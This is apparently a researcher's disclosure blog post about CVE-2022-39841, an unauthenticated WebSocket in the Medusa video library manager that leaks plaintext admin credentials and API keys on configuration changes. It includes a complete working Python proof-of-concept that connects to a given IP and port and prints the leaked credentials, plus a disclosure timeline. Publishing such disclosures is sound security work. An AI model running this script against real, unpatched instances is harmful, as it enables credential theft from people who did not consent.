tldr;

A critical vulnerability in Medusa allows for information leakage, including plaintext credentials, by attaching to an unauthenticated WebSocket and waiting for a user to make a configuration change.

Affected Versions: All versions between 0.1.16-dev0 (2017) and 1.0.7 (2022)
CVSS Score: 9.8  
Links: Mitre, NVD
Proof of Concept: GitHub

DALL·E rendering of Medusa + socket

Medusa

First, what is Medusa? This is best answered by quoting their own site:

[Medusa is an] Automatic Video Library Manager for TV Shows. It watches for new episodes of your favorite shows, and when they are posted it does its magic.
Screenshot example showing Medusa web interface

Discovery

One of my favorite things to do is looking for bugs in code, so this weekend I decided to go bug hunting. Medusa is written in Python with a vue.js front end, so I used the SAST tool Bandit to quickly highlight any critical issues to review.

Bandit scan results for Medusa

There were a few small things of interest here but it was mostly intended functionality of the application and all behind authentication. I spent some time experimenting, trying to chain together some of this functionality into something more meaningful like code execution.

What I really wanted to find were things that did not require authentication. I explored the static FileHandlers, where no auth is required and path traversal was possible but they were still restricted to specific directories.

That's when I noticed the definition for a WebSocket:

Lines 251-253 define the WebSocket path

After looking at the WebSocketUIHandler, it didn't appear that there was anything in this call that required authentication.

Now it's time to see what this WebSocket is used for. To do this, I opened up Burp Proxy and started using the web application as normal to see what messages were sent.

Quickly, I noticed that it was used to send async updates to the page when settings change, on notifications and other events. One interesting thing here is that when the settings are updated, a lot of sensitive data is sent, including the plaintext credentials required to access the web application.

Websocket communication in Burp showing the username and password in plaintext

This looked promising, and I confirmed in Burp that the authentication cookie was not required for the WebSocket to send messages. Let's take it to the next level.

Proof of Concept (PoC)

Any excuse to write a tidy little Python script, right? So to confirm my findings above, I got familiar with the websocket library to see if we could leak a username/password given and IP address and port of a running Medusa instance.

# Copyright (C) 2022 Mat Rollings
# https://github.com/stealthcopter/CVE-2022-39841

import json
import websocket

"""
This PoC script can point at an instance of Medusa that is password protected and
it will connect to the unauthenticated websocket it is running and wait for the
configuration to be changed and leak the username/password when it is.
"""

IP = '192.168.1.237'
PORT = 8083
WEBROOT = '/'

def on_message(ws, message):
    obj = json.loads(message)
    event = obj.get('event')
    data = obj.get('data')

    if event == 'configUpdated':
        section = data.get('section')
        config = data.get('config')

        if config:
            webinterface = config.get('webInterface', {})
            apiKey = webinterface.get('apiKey')
            username = webinterface.get('username')
            password = webinterface.get('password')

            print(f'{apiKey} {username} {password}')

            ws.close()

def on_error(ws, error):
    print(error)

def on_close(ws, close_status_code, close_msg):
    print("### closed ###")

def on_open(ws):
    print("### Opened connection ###")

ws = websocket.WebSocketApp(f"ws://{IP}:{PORT}{WEBROOT}ws/ui",
                            on_open=on_open,
                            on_message=on_message,
                            on_error=on_error,
                            on_close=on_close)

ws.run_forever(ping_interval=60)
PoC script to leak the plaintext credentials given an IP and port of a medusa instance.

You can see the latest and full script in the GitHub repo.

Exploit in action

Let's take it for a spin. We first need to modify the PoC by adding the IP address and Port of our docker instance we've setup for testing:

IP = '192.168.1.237'
PORT = 8083

We then run the exploit:

The WebSocket library automatically handles the HTTP upgrade connection

If you've enabled trace debugging on the websocket library you will get to see the HTTP request and response for the HTTP upgrade request. This the the HTTP conversation that is responsible for setting up the WebSocket connection.

Now we open up the web interface for Medusa in a browser and log in. Then we go to any settings page and click save.

Saving the configuration in the Medusa web interface

Shortly after this, Medusa will send the new configuration object over the WebSocket. The PoC script will receive this and leak the plaintext api key, username and password:

PoC successfully leaking the plaintext credentials of admin:admin

Timeline

This was an incredibly fast responsible disclosure, with a fix ready, tested and merged within a day.

  • 03/09/22 - Vulnerability discovered
  • 04/09/22 - Vulnerability disclosed
  • 05/09/22 - Pull request with fix opened
  • 05/09/22 - Pull request merged into dev branch
  • 06/09/22 - Dev branch merged into master branch (release 1.0.8)
  • 15/09/22 - Vulnerability publicly disclosed (+12 days)

Summary

WebSockets are easy to overlook when considering authentication and authorization, which is likely how this vulnerability likely slipped under the radar for so long.

"AUTH ALL THE THINGS" meme